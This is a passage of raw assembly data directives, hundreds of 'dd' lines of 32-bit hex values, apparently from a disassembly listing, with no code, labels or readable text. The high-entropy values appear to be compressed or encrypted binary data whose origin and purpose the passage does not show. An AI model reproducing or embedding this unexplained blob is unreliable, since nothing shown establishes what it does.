		dd 101C08E2h, 3843F7EDh, 354D382h, 385FB86Ch, 0A6E71881h
		dd 38497501h, 0DCD29740h, 48822990h, 5D24F9ADh,	673DCCC0h
		dd 48198128h, 0CB251D1Ch, 9ACD1F7h, 80FE5D82h, 5C40108h
		dd 0B3AAE9C3h, 0DCFAB208h, 23606068h, 0EB332D2Eh, 0EA76507Dh
		dd 90AB7763h, 0B2BB5805h, 4CE8D320h, 310FFF81h,	0D0D87FE6h
		dd 16017403h, 0DFBBC46Ch, 2FF0D840h, 4082B719h,	0C002A9EAh
		dd 18D31295h, 81A09A27h, 0F7911FDEh, 0C83CCE3Ah, 0FF65C0BEh
		dd 0D35E91EEh, 7187481Ch, 0E808A05h, 92DC9AAh, 56CBB396h
		dd 0A4F47300h, 620001D4h, 0F68AC7A6h, 48608279h, 0C0720C6Dh
		dd 27ED6C20h, 0F9020CEBh, 76D2CEF6h, 0CBE05565h, 5B5B55B7h
		dd 7AD628D0h, 0B26300B1h, 5A82BAF7h, 83005D6Eh,	0CA61CD09h
		dd 1F37B6F6h, 0ACB87579h, 0E3093EEAh, 7076D044h, 1914674h
		dd 0FBB9635Ch, 403A2E03h, 4F44E784h, 0CF0F04ACh, 7EE1B82Bh
		dd 0E2412D0Eh, 0D581932Fh, 3DD0B895h, 314C90E6h, 0B0089AAEh
		dd 75B800F9h, 62E9F8CDh, 7E83108Fh, 3B1EF02h, 87E8B9Dh
		dd 40DC2840h, 0AE403414h, 21B564D8h, 0CA230487h, 4C03104h
		dd 8004E3D7h, 395304FDh, 6056304h, 327066F4h, 0D0410E11h
		dd 20492F06h, 0F362BA73h, 29B5089h, 5803C8F8h, 85401072h
		dd 2A5C10DFh, 10F70910h, 0A1109440h, 73FD1B9Dh,	2A4DA30h
		dd 0E002AD67h, 0AFA902ABh, 3F6D302h, 8108142h, 0DD10B059h
		dd 2E1B1085h, 99249919h, 9F6A01DEh, 888DEF01h, 0C028208h
		dd 0FEA1CD9Ch, 80BF7980h, 6C80C14Bh, 0C64A8022h, 0BE1908D2h
		dd 0F999E8A8h, 88078977h, 0CBE6261h, 2528655Fh,	0C633A640h
		dd 49B228C1h, 0E6588C88h, 0B851FF81h, 8A019ABAh, 30D60193h
		dd 12B8701h, 9A01EE3Ah,	86C7019Ch, 0D11A2103h, 261188EDh
		dd 55C1DFC4h, 7BCD943Fh, 27686888h, 10942A15h, 9310D7C5h
		dd 0F0A82AEDh, 6211E120h, 0EA0F5149h, 20A90D06h, 0E82025C0h
		dd 0B97C631Fh, 3120ACDDh, 217D20C9h, 208F3020h,	0A620EC19h
		dd 7988FD07h, 0A00C0CB3h, 0C47709DAh, 4F271B0h,	1B0C977Fh
		dd 0D441E2A1h, 8888061h, 0F5089045h, 968B08EFh,	487DD70Ch
		dd 5515409Ah, 8E63D8A8h, 807E3780h, 8C471E9h, 991F7F02h
		dd 2496203Ch, 0A1408594h, 50E1406Ch, 4F542092h,	9B40C1C0h
		dd 0D416405Ah, 40510940h, 0A868F0EBh, 7088E8B1h, 996D08BFh
		dd 8BD1308h, 5E19FC67h,	0C051D029h, 41011E85h, 0A50C029Eh
		dd 0FC4470C4h, 7504E8FDh, 0A9CD04B4h, 9088D608h, 1DC308F7h
		dd 8893608h, 0B008DE95h, 13640892h, 0E1B2EC1Fh,	7930030Ah
		dd 9CC4481Ah, 64FC2361h, 69181974h, 2EA6112h, 0C9D8A5B2h
		dd 0F8589C4Ah, 8082D88h, 0FE19B712h, 0C851B391h, 895C59Eh
		dd 9A70B44Dh, 90465428h, 862017D6h, 0D340222Ch,	0F3AC857Dh
		dd 0C0BE0CD3h, 0CFF29C4Fh, 8DEA8610h, 955F009Dh, 0F422890Ah
		dd 980A2F5Bh, 6800986Ch, 0AE3D8437h, 6B5F2F4Ah,	8B3EC0F9h
		dd 12F366CDh, 6598601Ch, 0B15200A9h, 189F3826h,	0F113D125h
		dd 0C0906144h, 0CE80942h, 43FDC41Ah, 291D0DA8h,	78300160h
		dd 2E2B938Ch, 3343914h,	863D44CDh, 380A6033h, 7A8004BAh
		dd 0BCA0695Dh, 5F4401A4h, 3068D4A8h, 0B743E1E3h, 0F3600840h
		dd 0A0789EA9h, 794C61C1h, 0BCE6D0EFh, 85298018h, 6925F445h
		dd 902C18AEh, 0D26B803Eh, 7B034172h, 20A503Bh, 0E044E3B7h
		dd 7C30EF6Dh, 1E983AEDh, 0ECE5B800h, 9695A66h, 155881E1h
		dd 0C1FAA360h, 65A46C41h, 0D029DC01h, 0C8B6E22Ch, 6123C801h
		dd 443FB843h, 0E4693B4Ch, 1124A0Ch, 0ABFB88h, 0D9C7EF34h
		dd 0B9018ECAh, 484DCB5h, 0D8CCA75Dh, 0D6230079h, 7619B1EDh
		dd 8B3F7567h, 0A35D0C6Fh, 78BB58D2h, 18BDF86Ch,	60D3AF69h
		dd 6A61E0A9h, 0AE78FD98h, 440FD844h, 5DED0123h,	1081E712h
		dd 0F82CF36Bh, 0FF308755h, 0AB83A388h, 73103009h, 0AADEBC40h
		dd 0F2C3C240h, 10B8A008h, 5D1A18D0h, 691D0887h,	0E080372Ah
		dd 1117BB07h, 4D51D9AFh, 8406343h, 127A954h, 0E769CAF8h
		dd 200B3FD4h, 4E523C04h, 0B12C3D90h, 0E6F58032h, 1050D32Ah
		dd 0FF057086h, 4BC35E4Ch, 2CC2C8D0h, 3073609Bh,	4484DBB5h
		dd 77B2602Ch, 78BB7C02h, 6AB88175h, 608AED0Eh, 4B8879B9h
		dd 0BA1EC01h, 6244CC23h, 8F198300h, 0CC6BFC1Fh,	0DEAF2A5Dh
		dd 444148B4h, 0F8CE2000h, 451AC42Bh, 0DCFF80CEh, 0A05C56C0h
		dd 0FE8B0Eh, 15656344h,	7D837B2Ch, 8BB4328h, 0EC035E2Ah
		dd 0B3EDC600h, 0D6EFFC3h, 0CF6F00FCh, 0D901D16Bh, 350CABD8h
		dd 0A9F4C6AFh, 0AA912B9h, 0E7F800CDh, 0C325EE08h, 5B597400h
		dd 0B3AACE6Dh, 0F74E2Ch, 0FE57D134h, 3E745DA8h,	0A57AC1C0h
		dd 0EEA3B0FBh, 88851E19h, 8E2D00A0h, 0F6B2DEEDh, 0E0ED1092h
		dd 0BCA4D0F5h, 35100A4Ch, 0BC20283Ch, 0E9B144D4h, 4102E423h
		dd 78E2895Ch, 226E8A4h,	6019D25Dh, 21B8F04h, 69F0B72Ch
		dd 0D448DEF2h, 0FE068809h, 0AA915DB3h, 0B6BA0150h, 4DC392EDh
		dd 30F8A4C7h, 0C27F2180h, 2F9C24BEh, 2400322Bh,	50B7DD7Dh
		dd 101B1830h, 0C0ACABDEh, 83EDBEC9h, 2C18A261h,	79B890F4h
		dd 0E3EC0Bh, 5C9277CAh
		dd 3D28B69h, 70CF6024h,	73413B80h, 3BAAC5C8h, 0C40BB844h
		dd 0E8007A47h, 8296D346h, 677C0901h, 2D08A11Bh,	23CBB080h
		dd 0EB5DBD6Fh, 8348E360h, 2B5A769h, 47DA8FCEh, 204074B1h
		dd 0CA0777FEh, 866B3B73h, 78FB0AD3h, 840FF62h, 50855DBBh
		dd 29449C41h, 80B4CFB0h, 948896FEh, 270DA177h, 28247C60h
		dd 0B8CCF0h, 0DE013F62h, 849C5ADBh, 0FCD7FD1Fh,	822D6349h
		dd 90E8F524h, 1CD902ECh, 8067B28Ch, 0ECE7B11Dh,	0EA1254B5h
		dd 0C444053Ah, 68D0AAB8h, 0E8524CFEh, 0E76A1396h, 0C73444DAh
		dd 84A84953h, 60FC7D1Ch, 0B8D0CE30h, 890D6818h,	294D31A9h
		dd 489D4044h, 0B6B43840h, 0D19F0405h, 0C07402C3h, 0D02C0F30h
		dd 4C72B200h, 0C7F454BBh, 82883BC1h, 0F14200F5h, 9724EA20h
		dd 11C1CDAAh, 6B31C34Bh, 10044087h, 12A78379h, 6F41000h
		dd 0F09880B8h, 50E500F5h, 0C48EEA60h, 9C00BA44h, 835D7C3Fh
		dd 0F5A566h, 8F5B0BCFh,	9DDF02A3h, 0EBB91D03h, 1384045Dh
		dd 43EDA6B9h, 3F3A2C90h, 52D3E000h, 5ECBD209h, 79A80EE8h
		dd 1AC22012h, 88D677BCh, 3444C13Ah, 58217889h, 90218808h
		dd 0C3D20C28h, 0AA209F70h, 0F9CED300h, 723CE243h, 0DC783069h
		dd 4286CD38h, 0E812EA7Ah, 60F03BC3h, 54A97EF9h,	3D90B856h
		dd 0A80E08A3h, 0EF20F504h, 8089E1E8h, 4FD70103h, 0E8814088h
		dd 0BF2D3CEh, 0F0695257h, 0B94E2C60h, 21EFA809h, 0A2D82EC3h
		dd 68016A85h, 62DDA904h, 55DB886h, 9AFBC48h, 8192590Fh
		dd 4640618Eh, 0FBD434F1h, 24CF7962h, 27585519h,	88FDF040h
		dd 82C78A06h, 1071AE80h, 7F2556Ah, 83853AECh, 18BD5DB1h
		dd 9A8138BBh, 0AC3C7A1h, 82F087FEh, 6A211AA5h, 0C06039D0h
		dd 489F08h, 0E501CE75h,	0D2880A9Eh, 9A711AFDh, 8B05B011h
		dd 70F80C01h, 8409B60h,	8B00B68Eh, 5CA69FA9h, 2C18A0FDh
		dd 6C10719Dh, 2B0204EBh, 0C3758CE3h, 0D1E00CAEh, 0FC000921h
		dd 0FB904EC1h, 0C22B972Ch, 0E7BA7530h, 0F4110CC2h, 7078D252h
		dd 80A00C32h, 0FE28C8FBh, 24925D2Ch, 0E09070h, 0FD39071Bh
		dd 0E5C32064h, 0ECA8A093h, 5E295D14h, 3541790h,	44C81C30h
		dd 208D4D1Ah, 0F126D44Ch, 600E61ECh, 102CE7C9h,	2C4875h
		dd 26BD7E43h, 8670DB60h, 28F2EC5Dh, 0B071D4B0h,	6DF0B181h
		dd 6892E5h, 0CE2E8C9Fh,	5CC72CBFh, 0E0FEF8CEh, 3E60D20Ah
		dd 9129C0E4h, 8CBED79Bh, 0CC584403h, 4EF8320h, 0E3C52C18h
		dd 788883A8h, 61C64C81h, 5B8820E0h, 20C1C820h, 6A145132h
		dd 2E94216Bh, 831FA44Eh, 10C308F7h, 0BEA002C4h,	0D01C5FDh
		dd 0FCA20844h, 5CB828C6h, 10A4F637h, 83AFBED2h,	0E11543ACh
		dd 0C850A757h, 5448008h, 0C7B55A07h, 52901683h,	84A808B0h
		dd 3400D845h, 1FA398FDh, 29C319B4h, 21D4208Ch, 41B3D940h
		dd 400658A8h, 290161D8h, 5FAA3400h, 8FC9F555h, 2D45FCC3h
		dd 860A369h, 0F909ADB4h, 8B05F4AEh, 0E800C068h,	0FBF0C072h
		dd 6AB05D04h, 8883AB4Eh, 8E70F002h, 0D0DE129Ch,	141453B3h
		dd 530062E0h, 956BBC5h,	0B0B9F82Eh, 0AD686A86h,	4D29EE40h
		dd 3858A085h, 7300903Bh, 9ADDC8F3h, 3C91C41Eh, 0AB27DE04h
		dd 5E0E4CDh, 0F47C1FD0h, 0E038AC2Dh, 629DA9F2h,	0CD473909h
		dd 5D9C018Bh, 518F3D4Ah, 0CB40A798h, 84A3A9E8h,	0D760874Ch
		dd 0C3755C90h, 27AF2869h, 0B5A23C8Ch, 97A99004h, 0A0D49077h
		dd 0C0C4C2A3h, 94814EFFh, 0C71D6Ah, 3B70C430h, 7DA9C44h
		dd 0FBA10814h, 0DCA504D4h, 64A424A9h, 3070604Ch, 4EBA41C2h
		dd 4B602B75h, 0A3A52560h, 887A179Eh, 0B98C050Ch, 1558D183h
		dd 598701DBh, 0BCFCFB31h, 0A6D533DCh, 16BCE521h, 103C7A14h
		dd 2124241h, 99503510h,	0C84C21BCh, 640141CBh, 7D2F47BBh
		dd 15E04D3Ch, 1C874CC1h, 14D02E24h, 0B400B4F7h,	1BF4DBFDh
		dd 0B91FAC23h, 0F9FAF5E4h, 829C1001h, 5B55CF34h, 1192B428h
		dd 3772B4B0h, 0C0D04E69h, 2A16204h, 38D4D54Ah, 0E9A62480h
		dd 0FC590038h, 695E4794h, 20C5FA76h, 0EC80FFAFh, 0A0142B2Ch
		dd 1779B194h, 4672BE0Eh, 0D9445D84h, 791C3B48h,	0ECC25800h
		dd 0ADFFFACCh, 815D39A1h, 0E51C884Ch, 3161932Ch, 21D3BDBCh
		dd 125C0544h, 1840D688h, 0F621CB07h, 512044BEh,	0F87D451Eh
		dd 93D1F97h, 43C40103h,	30733EC3h, 5A0146F0h, 2CE22517h
		dd 48818B5Ch, 0F69CA2Ah, 4C80401Ch, 81015346h, 4225D6D9h
		dd 0FC4327D0h, 6872822Ch, 0ED69CBE8h, 34553838h, 0C7C4D811h
		dd 0ED6800F3h, 0EF880176h, 0A0B10CA7h, 602F0A82h, 0C47E49h
		dd 0EA39D50Fh, 0B300F845h, 16B935B0h, 17B78FC6h, 340C4EEh
		dd 0A4AC7C9Fh, 0D9C3F2C8h, 0EF8C609Dh, 0B1326CDCh, 0DB206A68h
		dd 0B4BF00E3h, 1EEE1385h, 430E80B2h, 0A2ECA96Bh, 0FE1DC3E4h
		dd 30021384h, 0C9F15D8Ch, 0D455780h, 0A14CCD5Ah, 0C7E7E048h
		dd 0EA6BED00h, 0F121F340h, 0E3F500BCh, 6707A32Dh, 2E180301h
		dd 0C3188D6Ch, 3A3679F6h, 822E0951h, 82B990F8h,	0C8A29183h
		dd 5846E4CCh, 0C617C82Dh, 7A100A23h, 8B440848h,	0D2015907h
		dd 17CBC89Ch, 0E8B575h,	0A0F655D8h, 7414BBD4h, 1086243h
		dd 0E59A6B3Bh, 0C6F8BFA3h, 918803F4h, 0E82A556h, 0B1E8A893h
		dd 8D58DCFDh, 0B54E87F4h, 8168C8C9h, 0A2F87E0Eh, 8D84811Ch
		dd 73ECB059h, 6C6A158Ch, 0CE0EE80Ah, 0C8120C9Ch, 8403B78h
		dd 0C9883h, 0C0E3FEC8h,	2FF7B7Fh, 0A17C9800h, 0AE50F5ACh
		dd 6B780EC9h, 93265D72h, 0B11E383Fh, 375D8A80h,	6ADC81E5h
		dd 0C8332175h, 24B84127h, 2D264E94h, 0EFE2B8A6h, 2CDCE875h
		dd 5D4BA8Dh, 2D71DD6Bh,	0E6580F8h, 6912C69Eh, 24022E1Dh
		dd 72A8FBBBh, 40A8B010h, 4D00D96Bh, 9FA64B77h, 9E476937h
		dd 853181B4h, 3CDAC8EFh, 560E9EBCh, 0A7E520D1h,	9AFDC7h
		dd 0D2A3A6E2h, 0E4726027h, 0F8C209Fh, 25C244DBh, 68D0DC8Bh
		dd 82F8C600h, 516BC8AFh, 0CBF53C12h, 8D60418Fh,	845DBEE2h
		dd 2909E8FEh, 0FB1988CFh, 0B0F81025h, 0F0C9953Ch, 0B065DEE9h
		dd 8121DE0Dh, 0C3CA7183h, 28045C54h, 791CA9FBh,	2C089CF2h
		dd 6B078428h, 7A2001D3h, 504A224h, 0BFF9EF20h, 0C80E873h
		dd 58C60B5Dh, 0B34C3C21h, 98896034h, 0BE484E5Ch, 10004D34h
		dd 0EC449DFEh, 298B0B9h, 23096BCDh, 0D459FBF8h,	5600314h
		dd 0AD36C3C5h, 2E60CCh,	0E4F9EDAEh, 0B7222B26h,	3105B492h
		dd 0ABCD68A6h, 40A55088h, 92A2D1DFh, 0B8E39462h, 0D44B37B2h
		dd 5281B812h, 31A84450h, 47D9D0CDh, 330C30h, 43141008h
		dd 36B49944h, 1026FF0h,	3E54DC0Fh, 0E228E0C5h, 0A67101EDh
		dd 58602B82h, 0F19080FCh, 0B1AAB44Eh, 73100088h, 7B3042E8h
		dd 0ED006056h, 41D1EAF6h, 902DE63h, 98FCABD2h, 0EA1A802h
		dd 0F898C309h, 3AF0EADDh, 0B2D59DAh, 0A4E07809h, 9760EC6Ah
		dd 0AA5DA510h, 8738D307h, 88E18570h, 0B2006F40h, 4BF4B1Ch
		dd 586AA166h, 0E4487C38h, 36B099Eh, 0BC58ECB2h,	0B6F2F600h
		dd 4C1CF16Ch, 0F0AD1E67h, 0C9F1335h, 0CD68BA00h, 31693B00h
		dd 0B32101D0h, 2490F5h,	0C8DD13A5h, 6EFFC9BBh, 5B79A900h
		dd 3B77D741h, 36F739Dh,	6094B020h, 50A2F95Fh, 0EC64E842h
		dd 0C347EC04h, 688A869Dh, 80AA8850h, 945D0144h,	1A98051Ch
		dd 0F48C963Ch, 0E089CF3h, 30389E5Dh, 0BF3AEAFEh, 4CC80FAh
		dd 3EA0A75Fh, 88202460h, 0E08D89A0h, 0A9FA1800h, 8C9180C8h
		dd 6B5B4C82h, 1607159h
		dd 19BD5CBBh, 4375D4E0h, 53086350h, 0EC1EA0Bh, 5A5411BCh
		dd 44C41C40h, 12F47C53h, 80E1C357h, 603A8294h, 58E03654h
		dd 4460E86Bh, 0CE9822A4h, 0F30078B2h, 0BF953106h, 753C3781h
		dd 0E0EF0043h, 0C34ADABEh, 0C8B050D8h, 32C4201h, 472B4F8Bh
		dd 2F5DFC64h, 64189E16h, 0E93CC0F6h, 64035A4Eh,	1DB712C4h
		dd 76C1F970h, 655AA060h, 77BB1807h, 6A7C82C9h, 2CFCDCA4h
		dd 41530F38h, 1AC37C61h, 0B480A880h, 4EA6018h, 98448CD8h
		dd 69550BDCh, 0E4291BF7h, 7FDBC02h, 30246071h, 3F48442h
		dd 26836963h, 60183026h, 95B2038h, 0E405F846h, 10B44C80h
		dd 3B7C54CFh, 0DB2B9E0Bh, 0FBC0C059h, 0EAF7E663h, 62032C87h
		dd 25DD0070h, 1D60F338h, 0A2FBD104h, 6CB0F45Dh,	9F9401FDh
		dd 0D017F13h, 47DAF86Dh, 318F5D18h, 952FFC8h, 97C8A86h
		dd 1FA5F803h, 2C7CDCE4h, 406B5424h, 2493DE88h, 98FF8078h
		dd 0C7FDC0A3h, 9D7707E0h, 6BBAFA07h, 0CE2001DAh, 2C9CF7Dh
		dd 388BB2F5h, 38601C58h, 1B4C8626h, 0AE871858h,	5AFD5350h
		dd 0A838B0C2h, 0A5A304C0h, 92D09CDEh, 0B6B53168h, 7CC25C90h
		dd 0D3E405A8h, 0F4000CA0h, 602A0957h, 0C41825F0h, 10BC98A8h
		dd 6A2426C5h, 0E4B2393Bh, 0A0C8B0B8h, 2B030107h, 1D1E5F56h
		dd 0CE806CB4h, 0A28E49F7h, 41215350h, 5863FC00h, 8C0FD2Ch
		dd 44091E54h, 627412BCh, 6A88A18Ch, 0B424ECEBh,	2510A1BEh
		dd 0AF5DB040h, 77B0C056h, 0B939FE3Dh, 0A5526A18h, 39329E30h
		dd 1A0CD285h, 81D0C676h, 49D00654h, 1432B605h, 0DCC08CB7h
		dd 178D8886h, 1344F299h, 5C1C0F38h, 0C52CFFC1h,	0DC947B8Fh
		dd 44048C13h, 0FA02CDDBh, 0C060094Ah, 0DE8389D7h, 17EF0B40h
		dd 0F468B930h, 0E8BCBBF3h, 660E0262h, 0E33C2064h, 0CC97FB1Eh
		dd 38C0E913h, 9AEC6967h, 62442FD0h, 0A072DC12h,	3CA26A12h
		dd 0A002BC52h, 617631A1h, 8876BB54h, 84788A2Dh,	155AC20h
		dd 6B125988h, 347EE269h, 51395A50h, 0A7D10047h,	4D6E44D9h
		dd 30D001E5h, 0AF2B9CBCh, 24642111h, 6601C4CCh,	5DBFFF5Ah
		dd 0CC52EF0Ch, 7120296h, 3288A40Fh, 41D76080h, 0AACD006Bh
		dd 6C84CFDEh, 0BE4EBA44h, 69561401h, 0DC528F4Ah, 58307202h
		dd 24560424h, 0A07C7Eh,	0C3B3C711h, 0ADB4FD5Dh,	1FB7090Ch
		dd 5A5348CFh, 6AE0209Fh, 90A3175Dh, 2CE6F5BAh, 9D98F248h
		dd 0FCB2A2h, 0E0DEB1FDh, 540A30DAh, 0F0B8EA15h,	85110090h
		dd 69D6F85Ch, 1EB098CCh, 41259F65h, 0D158BAEDh,	5A28308Ah
		dd 7322160Fh, 0D3692320h, 0D8805037h, 51E6404Dh, 884480B4h
		dd 89A69889h, 5FF608E0h, 0F558862Fh, 9CD8BA18h,	0C46A097Ch
		dd 8B4B5041h, 9893810h,	0CE2C02C4h, 5380CA3Bh, 0E7F80ABCh
		dd 2CF14080h, 1CBE2E75h, 96F08D08h, 0A7ECD28Eh,	0CCB9F4A1h
		dd 6BA02021h, 6869D90Ch, 18BA5808h, 0A83EFC5Dh,	0A0B48E29h
		dd 0BA88A1A5h, 1871C1FDh, 0E180F02Ch, 60728B7Ah, 47D10100h
		dd 5DFF0861h, 48126127h, 28CE4225h, 0CDD7C4C4h,	64F54CF0h
		dd 0B4D048E7h, 0FE50C894h, 31188268h, 0D28821CFh, 0F89237C3h
		dd 4B2C0218h, 448000CAh, 5CEB42C4h, 3FD20100h, 18C60994h
		dd 456914C9h, 0A603A86Ch, 0AA6824C8h, 0EDFEB2A0h, 0FC427500h
		dd 695E6A49h, 807F6038h, 9F84E295h, 0B9B8D074h,	5760D90Ch
		dd 0EBA90F8h, 90B5C242h, 9BDE2CA3h, 8D27B00Fh, 84AD07A3h
		dd 0C0A41089h, 0EBAC09B1h, 705A09A0h, 15C2DD2Fh, 80FCAE94h
		dd 4065A1ECh, 2E004163h, 6943B7Eh, 0B504976h, 0BE2D47E3h
		dd 0C8AAA893h, 6580DD89h, 4A497321h, 0B3F36600h, 8FD5ECFh
		dd 0D1943967h, 0E5CE1509h, 20CC3C87h, 40C42591h, 5690E260h
		dd 334E69CFh, 16FEB4DBh, 0CED091F5h, 75BC0019h,	0B0C8B6D4h
		dd 0AF9C5DB0h, 0C03CC0CFh, 0D6C7F654h, 0F51E282Ch, 0A2A603D0h
		dd 9D600E87h, 1219294Ch, 0B8C8D4B4h, 9CDC246Ah,	0B1F161F0h
		dd 0CA54715Dh, 0DE2A2CC4h, 0C32D9490h, 0A05840D4h, 0B1F80039h
		dd 0A92A69E3h, 0D601C682h, 15A56883h, 0E880E7BEh, 0CBC2F940h
		dd 0AD4023C3h, 2BB512EFh, 88A422B9h, 21E6DC49h,	255422C4h
		dd 69DC48EBh, 1C6082D1h, 0D8C13824h, 49F5F6C8h,	0BD25EC4h
		dd 1BC3CD30h, 2CF904A0h, 5092293Ah, 0F4ADFB01h,	2E69483Dh
		dd 1A6C056Ah, 1074B8BEh, 79009103h, 0F05AFCC0h,	889ED0C3h
		dd 0DB3CD700h, 0F5320A5Dh, 898F47F1h, 0CA69BBF0h, 66B170E3h
		dd 0D7C3D8A5h, 1E849C4Dh, 600C584Ch, 1E61052h, 815F5E94h
		dd 2CA88210h, 90A49994h, 5692683Dh, 1BF882F8h, 0CC04147Ah
		dd 0E4F16951h, 0A9489016h, 13953E24h, 0BB791084h, 1EF401AEh
		dd 0E9ABF60Ch, 2C83002Dh, 3800275Fh, 858FC0ADh,	4EFE32h
		dd 0A916ECA7h, 5B55D036h, 0B5CC2650h, 8E444Ch, 3C337C1Ch
		dd 0F63BD293h, 0F518C3DBh, 0A79340C1h, 321053E0h, 2439A901h
		dd 0EBE611B5h, 0C1C43C48h, 0B1A21864h, 0D4282E61h, 8E9B3AA9h
		dd 34216851h, 7D04007Ah, 64DB7E3h, 0CC05B494h, 0A8E03CC3h
		dd 0CF3E0982h, 0E4486B3Bh, 54B8129Eh, 80A6E540h, 0B4C704h
		dd 770D0304h, 20608CE0h, 1497945Ch, 25F893B0h, 97CACC0h
		dd 6A424C9Eh, 958CC8E2h, 3D9025A9h, 67FCDC05h, 2B37C0E8h
		dd 0F4B4626Eh, 1C30Fh, 0E536AD1Fh, 0F02548D1h, 0A316273Ch
		dd 0D4D40094h, 0F05D1AF5h, 0ED037096h, 0C2E4ACF2h, 748840B4h
		dd 0A98CBBDh, 0F405B8CCh, 8216432Ch, 8C0A9044h,	0A81E6000h
		dd 0DC76AF81h, 0B0B68790h, 15ACA40h, 969CB90Ah,	14052F9h
		dd 0E8CE8D78h, 0E53824E7h, 39952C10h, 0CD00F058h, 9F674748h
		dd 0FB00F833h, 0C6A93AE2h, 8A0E01h, 75A78E72h, 18B369EEh
		dd 2500B0BCh, 0FFBDF3E6h, 0B4A302A0h, 30153CAh,	0E4D40A2h
		dd 0D4E8820Bh, 610463Bh, 33C3734Ch, 0E81210ABh,	44E05FECh
		dd 0F99305Dh, 0E3E2A738h, 6A836804h, 0D113FC0Eh, 2641040h
		dd 0D2B4849Dh, 0C515C403h, 0D901700Fh, 982FE0D3h, 0BE973BCDh
		dd 0BE448054h, 3A1D08B4h, 584F3C00h, 0C4FA2006h, 828D043h
		dd 570C2C0Bh, 0ED2A8C10h, 89E9BE00h, 953BD3E0h,	58887783h
		dd 0CC003CDCh, 0BC0D01E6h, 0C0132B6Ah, 90A5879Eh, 9231060h
		dd 6189AC70h, 361CF018h, 0E9278F14h, 0C93300C0h, 0BE6A9AE6h
		dd 44D8C33Eh, 5ADB235Fh, 0D64154F8h, 68257C7Ah,	7AF8C4B3h
		dd 45AE4AC4h, 0A76C3258h, 2B040B10h, 2881A79h, 78295DC4h
		dd 0B30B00E4h, 69534149h, 78DD3590h, 640562D2h,	60E7D826h
		dd 86FAF40Eh, 0B5D1893Eh, 0A70A288Fh, 10C2090h,	236E4CFFh
		dd 6D31759Bh, 84C3084Ch, 85082693h, 4B8980C4h, 0D4202408h
		dd 1E85B9DAh, 0A6728C0Bh, 7754FADEh, 45D1C0C3h,	0FF191DFEh
		dd 936B4400h, 3BECD1B4h, 0BC214E98h, 0BB007C36h, 0CE5C881Ch
		dd 0F97AC4C3h, 8989847h, 5E0EF7B2h, 0F9CD85FAh,	58109082h
		dd 695F1728h, 6C8806Ah,	400F9857h, 0E1F9CBF6h, 693354BFh
		dd 802470F1h, 8EC918F7h, 2CFBE84Ah, 0A8825A25h,	0DE06B884h
		dd 2DC1A51Ch, 0E8125953h, 20980C64h, 7F5DBE17h,	6B8FDCF0h
		dd 3869E983h, 24BC4009h, 0B04CBE61h, 72BB8344h,	7988F275h
		dd 0FCF794F8h, 0CCFC415Ah, 0F164EBB8h, 276AE0EEh, 2FA09449h
		dd 43181111h, 0B007B308h, 755FD64Fh, 22AB6CC0h,	2C810937h
		dd 5C0A02C9h, 2FDA0F9Bh, 0A67D8C20h, 0ABF7395Dh, 1829EC90h
		dd 0F31A0138h, 6E22B167h, 8E207472h, 0C334926h,	0AD08D468h
		dd 2B72096Eh, 0F25D6000h
		dd 8100F0D6h, 9FBBD009h, 9ACC097h, 8C738EE7h, 0A97ACC72h
		dd 0CF8AD894h, 0DD0584BFh, 0E4B2D94Ch, 0C291AD00h, 0C5C3EAE8h
		dd 39A98360h, 4E105460h, 0DC3488C4h, 0E034B003h, 0F24BA03Bh
		dd 8A808359h, 458509Ch,	64B30003h, 0B821A08Bh, 0DA268FC9h
		dd 0D81C1C4Eh, 44831343h, 0FDC5B85Eh, 309836h, 0DE4769BCh
		dd 9596FC4h, 7AB93B58h,	56364A00h, 0FFC9BAA3h, 7FD1FDDh
		dd 0C2AC0955h, 693CCF4h, 0EA6C1480h, 0B0B9D2E5h, 4C09FE64h
		dd 514D3B5Ch, 655D047Ch, 9ED8B8A6h, 5A11DB18h, 7CF0A0FBh
		dd 983048E8h, 7A574C1Fh, 0B1C0DA80h, 2D1F8D37h,	5D9D3C00h
		dd 2CD9CE33h, 0F8CF6EA0h, 9601E17h, 0A4F01DBAh,	5AE8CD60h
		dd 190E5B8h, 554B3BE7h,	70ADF6CFh, 38131824h, 98A1DF3Dh
		dd 9A3B042h, 9EF8EC80h,	943EBA2Eh, 0D501804Eh, 8D4B9FF1h
		dd 83A39A1Dh, 0BBC1F908h, 31F0DACAh, 0B2D92DCAh, 91A700F0h
		dd 731D00F7h, 0B8F1C9D5h, 0BC284B09h, 0D44EDC54h, 58559888h
		dd 0CC4A0CD6h, 0A05FFBF8h, 0E6226821h, 4E185EF2h, 4BB8B6D2h
		dd 185AC481h, 9D5420h, 8FC2B522h, 68B2BBC7h, 0D0782B2Dh
		dd 0FC3E2734h, 3CC66840h, 17695280h, 23B922BEh,	0D1DDF338h
		dd 1A27C3Ch, 0D4604FDAh, 0E171667h, 222C03C5h, 85DCA5FAh
		dd 968848Ch, 58642E08h,	0C30CB34Ch, 4D39C3h, 36D502A0h
		dd 3FA764AEh, 873EC413h, 947B831h, 0F20804C3h, 0D2A36065h
		dd 0E4432540h, 0EFA15960h, 9CB91723h, 0F047894h, 0AB5BF098h
		dd 38C7A410h, 0CE9680FCh, 20F1E874h, 6BA401F4h,	4AC3C7BBh
		dd 23880EAh, 0B76C94D7h, 25D309CDh, 0C3CE4Dh, 8C8222DAh
		dd 0C4007B35h, 16F3596Dh, 32A6AEB1h, 0D0054608h, 0A940E883h
		dd 99E0123Dh, 9A5D70A1h, 695A0CA4h, 0B1488D0Dh,	0A06CAA07h
		dd 56A26028h, 81385CC4h, 0CB9698D3h, 0A1A820D1h, 89CF0A12h
		dd 0E110B0h, 8179662Bh,	62C3CD10h, 6278F96Eh, 584EBF2Ch
		dd 0FC580460h, 0B848E0A9h, 8BB0984Ch, 0F0A413E3h, 5D040323h
		dd 9800F93Fh, 7C46EA56h, 0BBA15Ch, 0CDAE551Dh, 0F015FD0h
		dd 0E7A2F202h, 7678FFE4h, 4CF4827Ch, 67C22362h,	696AE040h
		dd 14CC2050h, 8384933Fh, 1690CDAAh, 1F46B32Bh, 0C109AD88h
		dd 0DAC3E069h, 4994345Ch, 9F24BB13h, 0BD5E004h,	0A29480D0h
		dd 90EB7875h, 4941180Ch, 456A305Eh, 1BE00495h, 60D29C89h
		dd 4FCF8C2Ch, 265C8183h, 0B38B00BAh, 952726EDh,	69640818h
		dd 0C15C583Dh, 597AF01Bh, 0D4608CF4h, 0F6006CC0h, 0C420B5B7h
		dd 0D490D79Bh, 4500358h, 0A42B448Bh, 0B87384A0h, 3D38B09Ch
		dd 3A8017C2h, 0AFBECDBBh, 892C1254h, 0A90F6802h, 0DADB021Ah
